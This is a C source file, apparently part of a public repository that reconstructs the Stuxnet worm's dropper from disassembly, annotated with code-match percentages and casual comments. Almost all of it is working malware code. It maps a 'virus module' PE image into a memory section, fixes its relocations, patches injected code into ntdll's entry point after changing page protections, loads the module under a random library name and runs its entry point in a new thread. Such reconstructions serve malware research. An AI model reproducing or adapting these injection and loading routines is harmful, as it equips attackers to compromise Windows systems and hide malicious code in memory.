Files
stuxnet/Dropper/CodeBlock.c
2016-10-11 20:11:22 -07:00

296 lines
11 KiB
C

/******************************************************************************************
Copyright 2012-2013 Christian Roggia
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
******************************************************************************************/
// MODIFIED BY mic.ric.tor
#include "CodeBlock.h"
// 98% (C) CODE MATCH
INT32 BLOCK4_InjectAndExecuteVirus(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader)
{
HANDLE hThread; // [sp+0h] [bp-98h]@8
HMODULE pVirusModule; // [sp+4h] [bp-94h]@5
HANDLE hMappedAddress; // [sp+8h] [bp-90h]@11
INT32 iResult; // [sp+Ch] [bp-8Ch]@1
PVIRUS_MODULE_BLOCKS_HEADER pVirusModuleSection; // [sp+10h] [bp-88h]@1
PHARDCODED_ADDRESSES pHardAddrs; // [sp+14h] [bp-84h]@1
GENERAL_INFO_BLOCK sInfoBlockCopy; // [sp+18h] [bp-80h]@1
pVirusModuleSection = (PVIRUS_MODULE_BLOCKS_HEADER)sASMCodeBlocksHeader->VirusModuleSection;
pHardAddrs = (PHARDCODED_ADDRESSES)(sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(&g_hardAddrs, __ASM_BLOCK1_0));
BLOCK4_memcpy(&sInfoBlockCopy, pVirusModuleSection, sizeof(GENERAL_INFO_BLOCK));
sInfoBlockCopy.OriginalAddress = ((UINT32)&sInfoBlockCopy ^ XADDR_KEY);
sInfoBlockCopy.UnknownZero0 = 0;
sInfoBlockCopy.AlignAddressesFunction = sASMCodeBlocksHeader->AlignAddresses;
iResult = BLOCK4_LoadVirusModuleInfo(pHardAddrs, &sInfoBlockCopy, (PVOID)pVirusModuleSection->VirusModuleSegment.SegmentAddress, pVirusModuleSection->VirusModuleSegment.SegmentSize);
if(iResult) return iResult;
iResult = BLOCK4_InjectCodeIntoNTDLL(sASMCodeBlocksHeader, pHardAddrs);
if(iResult) return -4;
pVirusModule = pHardAddrs->LoadLibraryW(sInfoBlockCopy.RandomLibraryName);
if(!pVirusModule)
return -9;
pVirusModuleSection->VirusModulePointer = pVirusModule;
if(pVirusModuleSection->LibraryExecuteEntryNumber != -1)
{
// Create thread where entrypoint is this function with the same parameter as was given to us
hThread = pHardAddrs->CreateThread(NULL, 0x00080000, (LPTHREAD_START_ROUTINE)sASMCodeBlocksHeader->ExecuteLibrary, sASMCodeBlocksHeader, 0, NULL);
if(!hThread) return -13;
pHardAddrs->WaitForSingleObject(hThread, -1);
pHardAddrs->GetExitCodeThread(hThread, (LPDWORD)&iResult);
}
hMappedAddress = sInfoBlockCopy.MappedAddress;
if(sInfoBlockCopy.MappedAddress)
{
sInfoBlockCopy.MappedAddress = 0;
pHardAddrs->ZwClose(hMappedAddress);
}
pHardAddrs->UnmapViewOfFile(pVirusModuleSection);
return iResult;
}
// 99% (C) CODE MATCH
// Dis gets ran on virus startup I think
INT32 BLOCK4_ExecuteLibrary(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader)
{
FARPROC pLibraryExecEntry; // [sp+0h] [bp-Ch]@1
PVIRUS_MODULE_BLOCKS_HEADER pVirusModuleSection; // [sp+4h] [bp-8h]@1
PHARDCODED_ADDRESSES pHardAddrs; // [sp+8h] [bp-4h]@1
pVirusModuleSection = (PVIRUS_MODULE_BLOCKS_HEADER)sASMCodeBlocksHeader->VirusModuleSection;
// g_hardAddrs in memory
pHardAddrs = (PHARDCODED_ADDRESSES)(sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(&g_hardAddrs, __ASM_BLOCK1_0));
// Ordinal seems to be -1. Maybe this gets the init function for the virus?
pLibraryExecEntry = pHardAddrs->GetProcAddress(pVirusModuleSection->VirusModulePointer, (LPCSTR)pVirusModuleSection->LibraryExecuteEntryNumber);
if(pLibraryExecEntry)
{
// Note: Same arguments passed to the 15th function of the internal library, maybe it was another module loaded in the past?
// As-is, this is calling the function with the arguments (NULL, 0)
((__tLibraryExecEntry)pLibraryExecEntry)(pVirusModuleSection->UnknownSegment.SegmentAddress, pVirusModuleSection->UnknownSegment.SegmentSize);
return 0;
}
pHardAddrs->FreeLibrary(pVirusModuleSection->VirusModulePointer);
return 0;
}
// 99% (C) CODE MATCH
void BLOCK4_CopyPEHeaderInfo(PGENERAL_INFO_BLOCK sInfoBlock, PIMAGE_NT_HEADERS pImageNT, INT32 iVirusModuleSize)
{
sInfoBlock->AbsoluteEntryPoint = pImageNT->OptionalHeader.ImageBase + pImageNT->OptionalHeader.AddressOfEntryPoint;
sInfoBlock->UnknownZero1 = 0;
sInfoBlock->SizeOfStackReserve = pImageNT->OptionalHeader.SizeOfStackReserve;
sInfoBlock->SizeOfStackCommit = pImageNT->OptionalHeader.SizeOfStackCommit;
sInfoBlock->Subsystem = pImageNT->OptionalHeader.Subsystem;
sInfoBlock->MinorSubsystemVersion = pImageNT->OptionalHeader.MinorSubsystemVersion;
sInfoBlock->MajorSubsystemVersion = pImageNT->OptionalHeader.MajorSubsystemVersion;
sInfoBlock->UnknownZero2 = 0;
sInfoBlock->Charactersitics = pImageNT->FileHeader.Characteristics;
sInfoBlock->DllCharacteristics = pImageNT->OptionalHeader.DllCharacteristics;
sInfoBlock->Machine = pImageNT->FileHeader.Machine;
sInfoBlock->UnknownOne = 1;
sInfoBlock->UnknownFour = 4;
sInfoBlock->LoaderFlags = pImageNT->OptionalHeader.LoaderFlags;
sInfoBlock->VirusModuleSize = iVirusModuleSize;
sInfoBlock->UnknownZero3 = 0;
}
// 94% (C) CODE MATCH
NTSTATUS BLOCK4_AlignAddresses(PIMAGE_DOS_HEADER *pImageDOS)
{
DWORD *dwItemAddress; // ST08_4@20
WORD *wTypeOffset; // [sp+8h] [bp-24h]@12
UINT32 iDeltaSizeOfBlock; // [sp+Ch] [bp-20h]@12
UINT32 j; // [sp+10h] [bp-1Ch]@14
PIMAGE_NT_HEADERS pImageNT; // [sp+18h] [bp-14h]@6
DWORD pImageBaseDelta; // [sp+1Ch] [bp-10h]@6
DWORD pImageBase; // [sp+24h] [bp-8h]@4
PIMAGE_BASE_RELOCATION i; // [sp+28h] [bp-4h]@10
if(!pImageDOS || !*pImageDOS)
return STATUS_ACCESS_VIOLATION;
pImageBase = (DWORD)pImageDOS;
if((*pImageDOS)->e_magic != MZ_HEADER)
return STATUS_ACCESS_VIOLATION;
pImageNT = (PIMAGE_NT_HEADERS)(pImageBase + (*pImageDOS)->e_lfanew);
pImageBaseDelta = (DWORD)(pImageBase - pImageNT->OptionalHeader.ImageBase);
if(pImageBase == pImageNT->OptionalHeader.ImageBase)
return STATUS_SUCCESS;
pImageNT->OptionalHeader.ImageBase = pImageBase;
if(!pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size)
return STATUS_CONFLICTING_ADDRESSES;
for(i = (PIMAGE_BASE_RELOCATION)(pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + pImageBase); i->SizeOfBlock; i += i->SizeOfBlock/sizeof(IMAGE_BASE_RELOCATION))
{
iDeltaSizeOfBlock = i->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION);
wTypeOffset = (WORD *)(i + 1);
if(iDeltaSizeOfBlock % 2)
return STATUS_CONFLICTING_ADDRESSES;
for(j = 0; j < iDeltaSizeOfBlock / 2; ++j)
{
if((UINT8)((*wTypeOffset / 0x100) / 0x10) != IMAGE_REL_BASED_ABSOLUTE)
{
if((UINT8)((*wTypeOffset / 0x100) / 0x10) != IMAGE_REL_BASED_HIGHLOW)
return STATUS_CONFLICTING_ADDRESSES;
dwItemAddress = (DWORD *)((*wTypeOffset & 0x0FFF) + i->VirtualAddress + pImageBase);
*dwItemAddress += pImageBaseDelta;
}
wTypeOffset++;
}
}
return 0;
}
// 100% (ASM) CODE MATCH
// another memcpy clone
__declspec(naked) void BLOCK4_memcpy(void *pDestination, const void *pSource, unsigned int iSize)
{
__asm {
push ebp
mov ebp, esp
push esi
push edi
mov edi, pDestination
mov esi, pSource
mov ecx, iSize
rep movsb
pop edi
pop esi
pop ebp
retn
}
}
// 99% (C) CODE MATCH
void BLOCK4_CopyDataIntoMapView(PVOID pVirusModule, PIMAGE_NT_HEADERS pImageNT, LPVOID pMapViewOfFile)
{
// Copy them headers first
BLOCK4_memcpy(pMapViewOfFile, pVirusModule, pImageNT->OptionalHeader.SizeOfHeaders);
PIMAGE_SECTION_HEADER pCurrSection = (PIMAGE_SECTION_HEADER)((DWORD)pImageNT + pImageNT->FileHeader.SizeOfOptionalHeader + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD));
// Copy section by section
INT32 dwCurrentSection;
INT32 dwNumberOfSections = pImageNT->FileHeader.NumberOfSections;
for(dwCurrentSection = 0; dwCurrentSection < dwNumberOfSections; dwCurrentSection++, pCurrSection++)
{
if(pCurrSection->SizeOfRawData) // If the section VirtualSize is valid copy the entire section
BLOCK4_memcpy((void *)((DWORD)pMapViewOfFile + pCurrSection->VirtualAddress), (const void *)((DWORD)pVirusModule + pCurrSection->PointerToRawData), pCurrSection->SizeOfRawData);
}
}
// 99% (C) CODE MATCH
INT32 BLOCK4_InjectCodeIntoNTDLL(ASM_CODE_BLOCKS_HEADER *sASMCodeBlocksHeader, PHARDCODED_ADDRESSES pHardAddrs)
{
HMODULE hHandleNTDLL; // [sp+8h] [bp-Ch]@1
void *NTDLL_Entry; // [sp+Ch] [bp-8h]@3
DWORD dwOld; // [sp+10h] [bp-4h]@5
hHandleNTDLL = pHardAddrs->NTDLL_DLL;
if(!pHardAddrs->NTDLL_DLL) return 0;
NTDLL_Entry = (void *)(hHandleNTDLL + 16);
if(*(_DWORD *)(hHandleNTDLL + 16) == 0xAB49103B) return 0; // Check if the code has been already injected
if(pHardAddrs->VirtualProtect(hHandleNTDLL, 0x1000, PAGE_EXECUTE_WRITECOPY, &dwOld))
{
// Copy code into ntdll entry point...
BLOCK4_memcpy(NTDLL_Entry, (const void *)sASMCodeBlocksHeader->ASMBlock0Segment.SegmentAddress, sASMCodeBlocksHeader->ASMBlock0Segment.SegmentSize);
// ...then call __ASM_BLOCK1_0 with a pointer to the entry point as ECX( because __thiscall )
((void (__thiscall *)(void *))sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress)(NTDLL_Entry); // __thiscall ignored by compiler
pHardAddrs->FlushInstructionCache((HANDLE)-1, NULL, 0);
return 0;
}
return -4;
}
// 97% (C) CODE MATCH
INT32 BLOCK4_LoadVirusModuleInfo(PHARDCODED_ADDRESSES pHardAddrs, GENERAL_INFO_BLOCK *sInfoBlock, PVOID pVirusModule, INT32 iVirusModuleSize)
{
PIMAGE_NT_HEADERS pImageNT; // [sp+0h] [bp-1Ch]@3
LARGE_INTEGER liMaximumSize; // [sp+4h] [bp-18h]@5
NTSTATUS iStatus; // [sp+Ch] [bp-10h]@5
LPVOID pMapViewOfFile; // [sp+10h] [bp-Ch]@7
HANDLE hSectionHandle; // [sp+14h] [bp-8h]@5
PIMAGE_DOS_HEADER pImageDOS; // [sp+18h] [bp-4h]@1
sInfoBlock->MappedAddress = 0; // Null out that bitch
pImageDOS = (PIMAGE_DOS_HEADER)pVirusModule;
// Not a .exe
if(((PIMAGE_DOS_HEADER)pVirusModule)->e_magic != MZ_HEADER)
return -2;
// Not PE
pImageNT = (PIMAGE_NT_HEADERS)((DWORD)pVirusModule + pImageDOS->e_lfanew);
if(pImageNT->Signature != PE_HEADER)
return -2;
liMaximumSize.LowPart = pImageNT->OptionalHeader.SizeOfImage; // 0x00006000
liMaximumSize.HighPart = 0;
// ZwCreateSection(..., 0xF001F, 0, ..., 64, 0x8000000, 0)
iStatus = pHardAddrs->ZwCreateSection(&hSectionHandle, SECTION_ALL_ACCESS, 0, &liMaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, 0);
if(iStatus != STATUS_SUCCESS)
return -11;
pMapViewOfFile = pHardAddrs->MapViewOfFile(hSectionHandle, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0);
if(!pMapViewOfFile)
{
pHardAddrs->ZwClose(hSectionHandle);
return -10;
}
sInfoBlock->MappedAddress = hSectionHandle;
BLOCK4_CopyDataIntoMapView(pVirusModule, pImageNT, pMapViewOfFile);
BLOCK4_CopyPEHeaderInfo(sInfoBlock, pImageNT, iVirusModuleSize);
pHardAddrs->UnmapViewOfFile(pMapViewOfFile);
return 0;
}
// 100% (ASM) CODE MATCH
void BLOCK4_END(void)
{
;
}